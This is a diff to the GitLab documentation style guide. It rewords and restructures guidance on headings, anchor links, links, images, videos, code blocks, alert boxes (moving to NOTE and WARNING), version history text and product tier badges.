@@ -829,7 +804,7 @@ For ordered lists, use three spaces for each level of indentation:
1. Ordered list item 3
```plaintext
- a codeblock that will next inside list item 3
+ a code block that nests inside list item 3
```
1. Ordered list item 4
@@ -837,6 +812,8 @@ For ordered lists, use three spaces for each level of indentation:
![an image that will nest inside list item 4](image.png)
````
+<!-- vale on -->
+
You can nest full lists inside other lists using the same rules as above. If you
want to mix types, that's also possible, if you don't mix items at the same
level:
@@ -864,7 +841,7 @@ that's best described by a matrix, tables are the best choice.
### Creation guidelines
-Due to accessibility and scannability requirements, tables should not have any
+To keep tables accessible and scannable, tables should not have any
empty cells. If there is no otherwise meaningful value for a cell, consider entering
*N/A* (for 'not applicable') or *none*.
@@ -886,9 +863,9 @@ Consider installing a plugin or extension in your editor for formatting tables:
### Feature tables
-When creating tables of lists of features (such as whether or not features are
-available to certain roles on the [Permissions](../../../user/permissions.md#project-members-permissions)
-page), use the following phrases (based on the SVG icons):
+When creating tables of lists of features (such the features
+available to each role on the [Permissions](../../../user/permissions.md#project-members-permissions)
+page), use the following phrases:
| Option | Markdown | Displayed result |
|--------|--------------------------|------------------------|
@@ -901,8 +878,8 @@ Valid for Markdown content only, not for front matter entries:
- Standard quotes: double quotes (`"`). Example: "This is wrapped in double
quotes".
-- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example:
- "I am 'quoting' something within a quote".
+- Quote inside a quote: double quotes (`"`) wrap single quotes (`'`). Example:
+ "This sentence 'quotes' something in a quote".
For other punctuation rules, refer to the
[GitLab UX guide](https://design.gitlab.com/content/punctuation/).
@@ -910,7 +887,7 @@ For other punctuation rules, refer to the
## Headings
- Add _only one H1_ in each document, by adding `#` at the beginning of
- it (when using Markdown). The `h1` will be the document `<title>`.
+ it (when using Markdown). The `h1` becomes the document `<title>`.
- Start with an `h2` (`##`), and respect the order `h2` > `h3` > `h4` > `h5` > `h6`.
Never skip the hierarchy level, such as `h2` > `h4`
- Avoid putting numbers in headings. Numbers shift, hence documentation anchor
@@ -922,16 +899,16 @@ For other punctuation rules, refer to the
- When possible, avoid including words that might change in the future. Changing
a heading changes its anchor URL, which affects other linked pages.
- When introducing a new document, be careful for the headings to be
- grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/product-categories/)
+ grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/categories/)
for review.
This is to ensure that no document with wrong heading is going live without an
audit, thus preventing dead links and redirection issues when corrected.
- Leave exactly one blank line before and after a heading.
- Do not use links in headings.
-- Add the corresponding [product badge](#product-badges) according to the tier the
+- Add the corresponding [product badge](#product-tier-badges) according to the tier the
feature belongs.
- Our documentation site search engine prioritizes words used in headings and
- subheadings. Make you subheading titles clear, descriptive, and complete to help
+ subheadings. Make your subheading titles clear, descriptive, and complete to help
users find the right example, as shown in the section on [heading titles](#heading-titles).
- See [Capitalization](#capitalization) for guidelines on capitalizing headings.
@@ -943,54 +920,52 @@ search engine optimization (SEO), use the imperative, where possible.
| Do | Don't |
|:--------------------------------------|:------------------------------------------------------------|
| Configure GDK | Configuring GDK |
-| GitLab Release and Maintenance Policy | This section covers GitLab's Release and Maintenance Policy |
+| GitLab Release and Maintenance Policy | This section covers the GitLab Release and Maintenance Policy |
| Backport to older releases | Backporting to older releases |
| GitLab Pages examples | Examples |
For guidelines on capitalizing headings, see the section on [capitalization](#capitalization).
-NOTE: **Note:**
-If you change an existing title, be careful. These changes might affect not
-only [links](#anchor-links) within the page, but might also affect links to the
-GitLab documentation from both the GitLab application and external sites.
+NOTE:
+If you change an existing title, be careful. In-page [anchor links](#anchor-links),
+links in the GitLab application, and links from external sites can break.
### Anchor links
Headings generate anchor links when rendered. `## This is an example` generates
the anchor `#this-is-an-example`.
-NOTE: **Note:**
+NOTE:
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39717) in
-GitLab 13.4, [product badges](#product-badges) used in headings aren't included
-in the generated anchor links. For example, when you link to
+GitLab 13.4, [product badges](#product-tier-badges) used in headings aren't
+included in the generated anchor links. For example, when you link to
`## This is an example **(CORE)**`, use the anchor `#this-is-an-example`.
Keep in mind that the GitLab user interface links to many documentation pages
-and anchor links to take the user to the right spot. Therefore, when you change
+and anchor links to take the user to the right spot. When you change
a heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old
-anchor to make sure you're not breaking an anchor linked from other
-documentation nor from the GitLab user interface. If you find the old anchor, be
-sure to replace it with the new one.
+anchor. If you do not fix these links, the [`ui-docs-lint` job](../testing.md#ui-link-tests)
+in your merge request fails.
Important:
- Avoid crosslinking documentation to headings unless you need to link to a
- specific section of the document. This will avoid breaking anchors in the
+ specific section of the document. This avoids breaking anchors in the
future in case the heading is changed.
-- If possible, avoid changing headings since they're not only linked internally.
+- If possible, avoid changing headings, because they're not only linked internally.
There are various links to GitLab documentation on the internet, such as
tutorials, presentations, StackOverflow posts, and other sources.
- Do not link to `h1` headings.
-Note that, with Kramdown, it is possible to add a custom ID to an HTML element
-with Markdown markup, but they _do not_ work in GitLab's `/help`. Therefore,
-do not use this option until further notice.
+Note that with Kramdown, it's possible to add a custom ID to an HTML element
+with Markdown markup, but they don't work in `/help`. Because of this, don't use
+this option.
## Links
Links are important in GitLab documentation. They allow you to [link instead of
summarizing](#link-instead-of-summarize) to help preserve a [single source of truth](#why-a-single-source-of-truth)
-within GitLab documentation.
+in GitLab documentation.
We include guidance for links in the following categories:
@@ -1004,7 +979,7 @@ We include guidance for links in the following categories:
for authoritative sources.
- When to use [links requiring permissions](#links-requiring-permissions).
- How to set up a [link to a video](#link-to-video).
-- How to [include links with version text](#text-for-documentation-requiring-version-text).
+- How to [include links with version text](#where-to-put-version-text).
- How to [link to specific lines of code](#link-to-specific-lines-of-code)
### Basic link criteria
@@ -1018,13 +993,13 @@ We include guidance for links in the following categories:
### Links to internal documentation
-NOTE: **Note:**
+NOTE:
_Internal_ refers to documentation in the same project. When linking to
documentation in separate projects (for example, linking to Omnibus documentation
from GitLab documentation), you must use absolute URLs.
Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to
-crosslink to other documentation within the same project. Use relative links to
+cross-link to other documentation in the same project. Use relative links to
the file, like `../index.md`. (These are converted to HTML when the site is
rendered.)
@@ -1033,7 +1008,7 @@ Relative linking enables crosslinks to work:
- in Review Apps, local previews, and `/help`.
- when working on the documentation locally, so you can verify that they work as
early as possible in the process.
-- within the GitLab user interface when browsing doc files in their respective
+- in the GitLab user interface when browsing doc files in their respective
repositories. For example, the links displayed at
`https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`.
@@ -1053,7 +1028,7 @@ To link to internal documentation:
Do: `../../geo/replication/troubleshooting.md`
-- Always add the file name `file.md` at the end of the link with the `.md`
+- Always add the filename `file.md` at the end of the link with the `.md`
extension, not `.html`.
Don't:
@@ -1068,7 +1043,7 @@ To link to internal documentation:
- `../../issues/tags.md`
- `../../issues/tags.md#stages`
-NOTE: **Note:**
+NOTE:
Using the Markdown extension is necessary for the [`/help`](../index.md#gitlab-help)
section of GitLab.
@@ -1109,7 +1084,7 @@ While many of these sources to avoid can help you learn skills and or features,
they can become obsolete quickly. Nobody is obliged to maintain any of these
sites. Therefore, we should avoid using them as reference literature.
-NOTE: **Note:**
+NOTE:
Non-authoritative sources are acceptable only if there is no equivalent
authoritative source. Even then, focus on non-authoritative sources that are
extensively cited or peer-reviewed.
@@ -1122,7 +1097,7 @@ Don't link directly to:
- Project features that require [special permissions](../../../user/permissions.md)
to view.
-These will fail for:
+These fail for:
- Those without sufficient permissions.
- Automated link checkers.
@@ -1143,16 +1118,16 @@ For more information, see the [confidential issue](../../../user/project/issues/
### Link to specific lines of code
-When linking to specific lines within a file, link to a commit instead of to the
-branch. Lines of code change through time, therefore, linking to a line by using
+When linking to specific lines in a file, link to a commit instead of to the
+branch. Lines of code change over time. Linking to a line by using
the commit link ensures the user lands on the line you're referring to. The
-**Permalink** button, which is available when viewing a file within a project,
-makes it easy to generate a link to the most recent commit of the given file.
+**Permalink** button, displayed when viewing a file in a project,
+provides a link to the most recent commit of that file.
- _Do_: `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)`
- _Don't_: `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).`
-If that linked expression is no longer in that line of the file due to additional
+If that linked expression has changed line numbers due to additional
commits, you can still search the file for that query. In this case, update the
document to ensure it links to the most recent version of the file.
@@ -1206,9 +1181,9 @@ When you take screenshots:
### Save the image
-- Save the image with a lowercase file name that's descriptive of the feature
+- Save the image with a lowercase filename that's descriptive of the feature
or concept in the image. If the image is of the GitLab interface, append the
- GitLab version to the file name, based on the following format:
+ GitLab version to the filename, based on the following format:
`image_name_vX_Y.png`. For example, for a screenshot taken from the pipelines
page of GitLab 11.1, a valid name is `pipelines_v11_1.png`. If you're adding an
illustration that doesn't include parts of the user interface, add the release
@@ -1218,10 +1193,10 @@ When you take screenshots:
the `.md` document that you're working on is located.
- Consider using PNG images instead of JPEG.
- [Compress all PNG images](#compress-images).
-- Compress gifs with <https://ezgif.com/optimize> or similar tool.
+- Compress GIFs with <https://ezgif.com/optimize> or similar tool.
- Images should be used (only when necessary) to _illustrate_ the description
of a process, not to _replace_ it.
-- Max image size: 100KB (gifs included).
+- Max image size: 100KB (GIFs included).
- See also how to link and embed [videos](#videos) to illustrate the
documentation.
@@ -1268,12 +1243,14 @@ request.
## Videos
-Adding GitLab's existing YouTube video tutorials to the documentation is highly
+Adding GitLab YouTube video tutorials to the documentation is highly
encouraged, unless the video is outdated. Videos should not replace
documentation, but complement or illustrate it. If content in a video is
-fundamental to a feature and its key use cases, but this is not adequately
-covered in the documentation, add this detail to the documentation text or
-create an issue to review the video and do so.
+fundamental to a feature and its key use cases, but isn't adequately
+covered in the documentation, you should:
+
+- Add this detail to the documentation text.
+- Create an issue to review the video and update the page.
Do not upload videos to the product repositories. [Link](#link-to-video) or
[embed](#embed-videos) them instead.
@@ -1297,11 +1274,11 @@ You can link any up-to-date video that's useful to the GitLab user.
The [GitLab documentation site](https://docs.gitlab.com) supports embedded
videos.
-You can only embed videos from [GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg).
+You can embed videos from [the official YouTube account for GitLab](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg) only.
For videos from other sources, [link](#link-to-video) them instead.
-In most cases, it is better to [link to video](#link-to-video) instead, because
-an embed takes up a lot of space on the page and can be distracting to readers.
+In most cases, [link to a video](#link-to-video), because
+embedded videos take up a lot of space on the page and can be distracting to readers.
To embed a video:
@@ -1341,9 +1318,9 @@ This is how it renders on the GitLab documentation site:
> - The `figure` tag is required for semantic SEO and the `video_container`
class is necessary to make sure the video is responsive and displays on
different mobile devices.
-> - The `<div class="video-fallback">` is a fallback necessary for GitLab's
-`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on
-the documentation site, but will be displayed on GitLab's `/help`.
+> - The `<div class="video-fallback">` is a fallback necessary for
+`/help`, because the GitLab Markdown processor doesn't support iframes. It's
+hidden on the documentation site, but is displayed by `/help`.
## Code blocks
@@ -1361,10 +1338,12 @@ the documentation site, but will be displayed on GitLab's `/help`.
and leave a blank line between the command and the output.
- When providing a command without output, don't prefix the shell command with `$`.
- If you need to include triple backticks inside a code block, use four backticks
- for the codeblock fences instead of three.
+ for the code block fences instead of three.
- For regular fenced code blocks, always use a highlighting class corresponding to
the language for better readability. Examples:
+ <!-- vale off -->
+
````markdown
```ruby
Ruby code
@@ -1383,6 +1362,8 @@ the documentation site, but will be displayed on GitLab's `/help`.
```
````
+ <!-- vale on -->
+
Syntax highlighting is required for fenced code blocks added to the GitLab
documentation. Refer to the following table for the most common language classes,
or check the [complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers)
@@ -1398,7 +1379,7 @@ of available language classes:
| `graphql` | |
| `haml` | |
| `html` | |
-| `ini` | For some simple config files that are not in TOML format. |
+| `ini` | For some simple configuration files that are not in TOML format. |
| `javascript` | Alias `js`. |
| `json` | |
| `markdown` | Alias: `md`. |
@@ -1406,7 +1387,7 @@ of available language classes:
| `nginx` | |
| `perl` | |
| `php` | |
-| `plaintext` | Examples with no defined language, such as output from shell commands or API calls. If a codeblock has no language, it defaults to `plaintext`. Alias: `text`. |
+| `plaintext` | Examples with no defined language, such as output from shell commands or API calls. If a code block has no language, it defaults to `plaintext`. Alias: `text`.|
| `prometheus` | Prometheus configuration examples. |
| `python` | |
| `ruby` | Alias: `rb`. |
@@ -1436,7 +1417,7 @@ Usage examples:
Example: `**{tanuki}**` renders as: **{tanuki}**.
- Icon with custom size: `**{icon-name, size}**`
- Available sizes (in px): 8, 10, 12, 14, 16, 18, 24, 32, 48, and 72
+ Available sizes (in pixels): 8, 10, 12, 14, 16, 18, 24, 32, 48, and 72
Example: `**{tanuki, 24}**` renders as: **{tanuki, 24}**.
- Icon with custom size and class: `**{icon-name, size, class-name}**`.
@@ -1467,14 +1448,14 @@ interface:
| Section | Description |
|:-------------------------|:----------------------------------------------------------------------------------------------------------------------------|
| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. |
-| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. |
+| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit events. |
| **{messages}** Messages | Send and manage broadcast messages for your users. |
```
| Section | Description |
|:-------------------------|:----------------------------------------------------------------------------------------------------------------------------|
| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. |
-| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. |
+| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit events. |
| **{messages}** Messages | Send and manage broadcast messages for your users. |
Use an icon when you find yourself having to describe an interface element. For
@@ -1485,102 +1466,72 @@ example:
## Alert boxes
-When you need to call special attention to particular sentences, use the
-following markup to create highlighted alert boxes.
+Use alert boxes to call attention to information.
-Alert boxes work for one paragraph only. Multiple paragraphs, lists, and headers
-won't render correctly. For multiple lines, use [blockquotes](#blockquotes)
-instead.
+Alert boxes are generated when the words `NOTE:` or `WARNING:` are followed by a
+line break. For example:
-Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>).
-In the GitLab product help, alert boxes appear as plain Markdown text.
+```markdown
+NOTE:
+This is something to note.
+```
-These alert boxes are used in the GitLab documentation. These aren't strict
-guidelines, but for consistency you should try to use these values:
+To display an alert box for multiple paragraphs, lists, or headers, use
+[blockquotes](#blockquotes) instead.
-| Color | Markup | Default keyword | Alternative keywords |
-|--------|------------|-----------------|----------------------------------------------------------------------|
-| Blue | `NOTE:` | `**Note:**` | |
-| Yellow | `CAUTION:` | `**Caution:**` | `**Warning:**`, `**Important:**` |
-| Red | `DANGER:` | `**Danger:**` | `**Warning:**`, `**Important:**`, `**Deprecated:**`, `**Required:**` |
-| Green | `TIP:` | `**Tip:**` | |
+Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>).
+In the GitLab product help, alert boxes appear as plain text.
### Note
-Notes indicate additional information that's of special use to the reader.
-Notes are most effective when used _sparingly_.
+Use notes sparingly. Too many notes can make topics difficult to scan.
-Try to avoid them. Too many notes can impact the scannability of a topic and
-create an overly busy page.
+Instead of adding a note:
-Instead of adding a note, try one of these alternatives:
+- Re-write the sentence as part of a paragraph.
+- Put the information into its own paragraph.
+- Put the content under a new subheading.
-- Re-write the sentence as part of the most-relevant paragraph.
-- Put the information into its own standalone paragraph.
-- Put the content under a new subheading that introduces the topic, which makes
- it more visible.
-
-If you must use a note, use the following formatting:
+If you must use a note, use this format:
```markdown
-NOTE: **Note:**
+NOTE:
This is something to note.
```
-How it renders on the GitLab documentation site:
+It renders on the GitLab documentation site as:
-NOTE: **Note:**
+NOTE:
This is something to note.
-### Tip
-
-```markdown
-TIP: **Tip:**
-This is a tip.
-```
-
-How it renders on the GitLab documentation site:
-
-TIP: **Tip:**
-This is a tip.
-
-### Caution
-
-```markdown
-CAUTION: **Caution:**
-This is something to be cautious about.
-```
-
-How it renders on the GitLab documentation site:
-
-CAUTION: **Caution:**
-This is something to be cautious about.
+### Warning
-### Danger
+Use a warning to indicate deprecated features, or to provide a warning about
+procedures that have the potential for data loss.
```markdown
-DANGER: **Warning:**
-This is a breaking change, a bug, or something very important to note.
+WARNING:
+This is something to be warned about.
```
-How it renders on the GitLab documentation site:
+It renders on the GitLab documentation site as:
-DANGER: **Warning:**
-This is a breaking change, a bug, or something very important to note.
+WARNING:
+This is something to be warned about.
## Blockquotes
-For highlighting a text within a blue blockquote, use this format:
+For highlighting a text inside a blockquote, use this format:
```markdown
> This is a blockquote.
```
-which renders on the [GitLab documentation site](https://docs.gitlab.com) as:
+It renders on the GitLab documentation site as:
> This is a blockquote.
-If the text spans across multiple lines it's OK to split the line.
+If the text spans multiple lines, you can split them.
For multiple paragraphs, use the symbol `>` before every line:
@@ -1593,7 +1544,7 @@ For multiple paragraphs, use the symbol `>` before every line:
> - Second item in the list
```
-Which renders to:
+It renders on the GitLab documentation site as:
> This is the first paragraph.
>
@@ -1610,7 +1561,7 @@ documentation authors on agreed styles and usage of terms.
### Merge requests (MRs)
Merge requests allow you to exchange changes you made to source code and
-collaborate with other people on the same project. You'll see this term used in
+collaborate with other people on the same project. This term is used in
the following ways:
- Use lowercase _merge requests_ regardless of whether referring to the feature
@@ -1654,36 +1605,43 @@ elements:
|:------------|:--------------------------------|:----------------------|
| _go to_ | making a browser go to location | "navigate to", "open" |
-## GitLab versions and tiers
+## GitLab versions
-Tagged and released versions of GitLab documentation are available:
+GitLab product documentation pages (not including [Contributor and Development](../../README.md)
+pages in the `/development` directory) can include version information to help
+users be aware of recent improvements or additions.
-- In the [documentation archives](https://docs.gitlab.com/archives/).
-- At the `/help` URL for any GitLab installation.
+The GitLab Technical Writing team determines which versions of
+documentation to display on this site based on the GitLab
+[Statement of Support](https://about.gitlab.com/support/statement-of-support.html#we-support-the-current-major-version-and-the-two-previous-major-versions).
-The version introducing a new feature is added to the top of the topic in the
-documentation to provide a link back to how the feature was developed.
+### View older GitLab documentation versions
-TIP: **Tip:**
-Whenever you have documentation related to the `gitlab.rb` file, you're working
-with a self-managed installation. The section or page is therefore likely to
-apply only to self-managed instances. If so, the relevant "`TIER` ONLY"
-[Product badge](#product-badges) should be included at the highest applicable
-heading level.
+Older versions of GitLab may no longer have documentation available from `docs.gitlab.com`.
+If documentation for your version is no longer available from `docs.gitlab.com`, you can still view a
+tagged and released set of documentation for your installed version:
-### Text for documentation requiring version text
+- In the [documentation archives](https://docs.gitlab.com/archives/).
+- At the `/help` URL of your GitLab instance.
+- In the documentation repository based on the respective branch (for example,
+ the [13.2 branch](https://gitlab.com/gitlab-org/gitlab/-/tree/13-2-stable-ee/doc)).
-When a feature is new or updated, you can add version information as a bulleted
-item in the **Version history**, or as an inline reference with related text.
+### Where to put version text
+
+When a feature is added or updated, you can include its version information
+either as a **Version history** item or as an inline text reference.
+
+Version text shouldn't include information about the tier in which the feature
+is available. This information is provided by the [product badge](#product-tier-badges)
+displayed for the page or feature.
#### Version text in the **Version History**
-If all content in a section is related, add version text following the header for
-the section. Each entry should be on a single line. To render correctly, it must be on its
-own line and surrounded by blank lines.
+If all content in a section is related, add version text following the header
+for the section. The version information must be surrounded by blank lines, and
+each entry should be on its own line.
-Features should declare the GitLab version that introduced a feature in a blockquote
-following the header:
+Add the version history information as a blockquote:
```markdown
## Feature name
@@ -1693,24 +1651,16 @@ following the header:
This feature does something.
```
-Whenever possible, version text should have a link to the _completed_ issue,
-merge request, or epic that introduced the feature. An issue is preferred over
-a merge request, and a merge request is preferred over an epic. For example:
+Whenever possible, version text should have a link to the completed issue, merge
+request, or epic that introduced the feature. An issue is preferred over a merge
+request, and a merge request is preferred over an epic. For example:
```markdown
> [Introduced](<link-to-issue>) in GitLab 11.3.
```
-If the feature is only available in GitLab Enterprise Edition, mention
-the [paid tier](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/)
-the feature is available in:
-
-```markdown
-> [Introduced](<link-to-issue>) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3.
-```
-
-If listing information for multiple version as a feature evolves, add the
-information to a block-quoted bullet list. For example:
+If you're adding information about new features or changes in a release, update
+the blockquote to use a bulleted list:
```markdown
> - [Introduced](<link-to-issue>) in GitLab 11.3.
@@ -1720,9 +1670,8 @@ information to a block-quoted bullet list. For example:
If a feature is moved to another tier:
```markdown
-> - [Introduced](<link-to-issue>) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5.
-> - [Moved](<link-to-issue>) to [GitLab Starter](https://about.gitlab.com/pricing/) in 11.8.
-> - [Moved](<link-to-issue>) to GitLab Core in 12.0.
+> - [Moved](<link-to-issue>) from [GitLab Premium](https://about.gitlab.com/pricing/) to [GitLab Starter](https://about.gitlab.com/pricing/) in 11.8.
+> - [Moved](<link-to-issue>) from [GitLab Starter](https://about.gitlab.com/pricing/) to GitLab Core in 12.0.
```
If a feature is deprecated, include a link to a replacement (when available):
@@ -1731,127 +1680,123 @@ If a feature is deprecated, include a link to a replacement (when available):
> - [Deprecated](<link-to-issue>) in GitLab 11.3. Replaced by [meaningful text](<link-to-appropriate-documentation>).
```
-You can also describe the replacement in surrounding text, if available.
-
-If the deprecation is not obvious in existing text, you may want to include a
-warning such as:
+You can also describe the replacement in surrounding text, if available. If the
+deprecation isn't obvious in existing text, you may want to include a warning:
```markdown
-DANGER: **Deprecated:**
-This feature was [deprecated](link-to-issue) in GitLab 12.3
-and replaced by [Feature name](link-to-feature-documentation).
+WARNING:
+This feature was [deprecated](link-to-issue) in GitLab 12.3 and replaced by
+[Feature name](link-to-feature-documentation).
```
+In the first major GitLab version after the feature was deprecated, be sure to
+remove information about that deprecated feature.
+
#### Inline version text
If you're adding content to an existing topic, you can add version information
inline with the existing text.
In this case, add `([introduced/deprecated](<link-to-issue>) in GitLab X.X)`.
-If applicable, include the paid tier: `([introduced/deprecated](<link-to-issue>) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4)`
Including the issue link is encouraged, but isn't a requirement. For example:
```markdown
-The voting strategy (in GitLab 13.4 and later) requires
-the primary and secondary voters to agree.
+The voting strategy in GitLab 13.4 and later requires the primary and secondary
+voters to agree.
```
#### End-of-life for features or products
-Whenever a feature or product enters the end-of-life process, indicate its
-status by using the `Danger` [alert](#alert-boxes) with the `**Important**`
-keyword directly below the feature or product's header (which can include H1
-page titles). Link to the deprecation and removal issues, if possible.
+When a feature or product enters its end-of-life, indicate its status by
+creating a [warning alert](#alert-boxes) directly following its relevant header.
+If possible, link to its deprecation and removal issues.
For example:
```markdown
-DANGER: **Important:**
+WARNING:
This feature is in its end-of-life process. It is [deprecated](link-to-issue)
for use in GitLab X.X, and is planned for [removal](link-to-issue) in GitLab X.X.
```
+After the feature or product is officially deprecated and removed, remove
+its information from the GitLab documentation.
+
### Versions in the past or future
When describing functionality available in past or future versions, use:
-- _Earlier_, and not _older_ or _before_.
-- _Later_, and not _newer_ or _after_.
+- Earlier, and not older or before.
+- Later, and not newer or after.
For example:
-- Available in GitLab 12.3 and earlier.
+- Available in GitLab 13.1 and earlier.
- Available in GitLab 12.4 and later.
-- In GitLab 11.4 and earlier, ...
-- In GitLab 10.6 and later, ...
+- In GitLab 12.2 and earlier, ...
+- In GitLab 11.6 and later, ...
-### Importance of referencing GitLab versions and tiers
+### Removing versions after each major release
-Mentioning GitLab versions and tiers is important to all users and contributors
-to quickly have access to the issue or merge request that introduced the change.
-Also, they can know what features they have in their GitLab
-instance and version, given that the note has some key information.
+Whenever a major GitLab release occurs, we remove all version references
+to now-unsupported versions of GitLab. Note that this includes the removal of
+specific instructions for users of non-supported GitLab versions. For example,
+if GitLab versions 11.x and later are supported, special
+instructions for users of GitLab 10 should be removed.
-`[Introduced](link-to-issue) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7`
-links to the issue that introduced the feature, says which GitLab tier it
-belongs to, says the GitLab version that it became available in, and links to
-the pricing page in case the user wants to upgrade to a paid tier to use that
-feature.
+To view historical information about a feature, review GitLab
+[release posts](https://about.gitlab.com/releases/), or search for the issue or
+merge request where the work was done.
-For example, if you're a regular user and you're looking at the documentation
-for a feature you haven't used before, you can immediately see if that feature
-is available to you or not. Alternatively, if you've been using a certain
-feature for a long time and it changed in some way, it's important to be able to
-determine when it changed and what's new in that feature.
+## Products and features
-This is even more important as we don't have a perfect process for shipping
-documentation. Unfortunately, we still see features without documentation, and
-documentation without features. So, for now, we cannot rely 100% on the
-documentation site versions.
+Refer to the information in this section when describing products and features
+in the GitLab product documentation.
-Over time, version text will reference a progressively older version of GitLab.
-In cases where version text refers to versions of GitLab four or more major
-versions back, you can consider removing the text if it's irrelevant or confusing.
+### Avoid line breaks in names
-For example, if the current major version is 12.x, version text referencing
-versions of GitLab 8.x and older are candidates for removal if necessary for
-clearer or cleaner documentation.
+If a feature or product name contains spaces, don't split the name with a line break.
+When names change, it is more complicated to search or grep text that has line breaks.
-## Products and features
+### Product tier badges
-Refer to the information in this section when describing products and features
-within the GitLab product documentation.
+Tier badges are displayed as orange text next to a heading. For example:
-### Avoid line breaks in names
+![Tier badge](img/tier_badge.png)
-When entering a product or feature name that includes a space (such as
-GitLab Community Edition) or even other companies' products (such as
-Amazon Web Services), be sure to not split the product or feature name across
-lines with an inserted line break. Splitting product or feature names across
-lines makes searching for these items more difficult, and can cause problems if
-names change.
+You must assign a tier badge:
-For example, the following Markdown content is _not_ formatted correctly:
+- To [all H1 topic headings](#product-tier-badges-on-headings).
+- To topic headings that don't apply to the same tier as the H1.
+- To [sections of a topic](#product-tier-badges-on-other-content),
+ if they apply to a tier other than what applies to the H1.
-```markdown
-When entering a product or feature name that includes a space (such as GitLab
-Community Edition), don't split the product or feature name across lines.
-```
+#### Product tier badges on headings
-Instead, it should appear similar to the following:
+To add a tier badge to a heading, add the relevant [tier badge](#available-product-tier-badges)
+after the heading text. For example:
```markdown
-When entering a product or feature name that includes a space (such as
-GitLab Community Edition), don't split the product or feature name across lines.
+# Heading title `**(CORE)**`
```
-### Product badges
+#### Product tier badges on other content
-When a feature is available in paid tiers, add the corresponding tier to the
-header or other page element according to the feature's availability:
+In paragraphs, list names, and table cells, an information icon displays when you
+add a tier badge. More verbose information displays when a user points to the icon:
+
+- `**(STARTER)**` displays as **(STARTER)**
+- `**(STARTER ONLY)**` displays as **(STARTER ONLY)**
+- `**(SILVER ONLY)**` displays as **(SILVER ONLY)**
+
+The `**(STARTER)**` generates a `span` element to trigger the
+badges and tooltips (`<span class="badge-trigger starter">`). When the keyword
+_only_ is added, the corresponding GitLab.com badge isn't displayed.
-| Tier in which feature is available | Tier markup |
+#### Available product tier badges
+
+| Tier in which feature is available | Tier badge |
|:-----------------------------------------------------------------------|:----------------------|
| GitLab Core and GitLab.com Free, and their higher tiers | `**(CORE)**` |
| GitLab Starter and GitLab.com Bronze, and their higher tiers | `**(STARTER)**` |
@@ -1866,32 +1811,10 @@ header or other page element according to the feature's availability:
| _Only_ GitLab.com Silver and higher tiers (no self-managed instances) | `**(SILVER ONLY)**` |
| _Only_ GitLab.com Gold (no self-managed instances) | `**(GOLD ONLY)**` |
-For clarity, all page title headers (H1s) must be have a tier markup for the
-lowest tier that has information on the documentation page.
-
-If sections of a page apply to higher tier levels, they can be separately
-labeled with their own tier markup.
-
-#### Product badge display behavior
-
-When using the tier markup with headers, the documentation page will display the
-full tier badge with the header line.
-
-You can also use the tier markup with paragraphs, list items, and table cells.
-For these cases, the tier mention will be represented by an orange info icon
-**{information}** that will display the tiers when visitors point to the icon.
-For example:
-
-- `**(STARTER)**` displays as **(STARTER)**
-- `**(STARTER ONLY)**` displays as **(STARTER ONLY)**
-- `**(SILVER ONLY)**` displays as **(SILVER ONLY)**
-
-#### How it works
-
-Introduced by [!244](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/244),
-the special markup `**(STARTER)**` will generate a `span` element to trigger the
-badges and tooltips (`<span class="badge-trigger starter">`). When the keyword
-_only_ is added, the corresponding GitLab.com badge will not be displayed.
+Topics that mention the `gitlab.rb` file are referring to
+self-managed instances of GitLab. To prevent confusion, include the relevant `TIER ONLY`
+tier badge on the highest applicable heading level on
+the page.
## Specific sections
@@ -1900,45 +1823,42 @@ sections are outlined in this section.
### GitLab restart
-There are many cases that a restart/reconfigure of GitLab is required. To avoid
-duplication, link to the special document that can be found in
-[`doc/administration/restart_gitlab.md`](../../../administration/restart_gitlab.md).
-Usually the text will read like:
+When a restart or reconfigure of GitLab is required, avoid duplication by linking
+to [`doc/administration/restart_gitlab.md`](../../../administration/restart_gitlab.md)
+with text like this, replacing 'reconfigure' with 'restart' as needed:
```markdown
Save the file and [reconfigure GitLab](../../../administration/restart_gitlab.md)
for the changes to take effect.
```
-If the document you are editing resides in a place other than the GitLab CE/EE
-`doc/` directory, instead of the relative link, use the full path:
-`https://docs.gitlab.com/ee/administration/restart_gitlab.html`. Replace
-`reconfigure` with `restart` where appropriate.
+If the document resides outside of the `doc/` directory, use the full path
+instead of the relative link:
+`https://docs.gitlab.com/ee/administration/restart_gitlab.html`.
### Installation guide
-**Ruby:**
In [step 2 of the installation guide](../../../install/installation.md#2-ruby),
-we install Ruby from source. Whenever there is a new version that needs to
-be updated, remember to change it throughout the codeblock and also replace
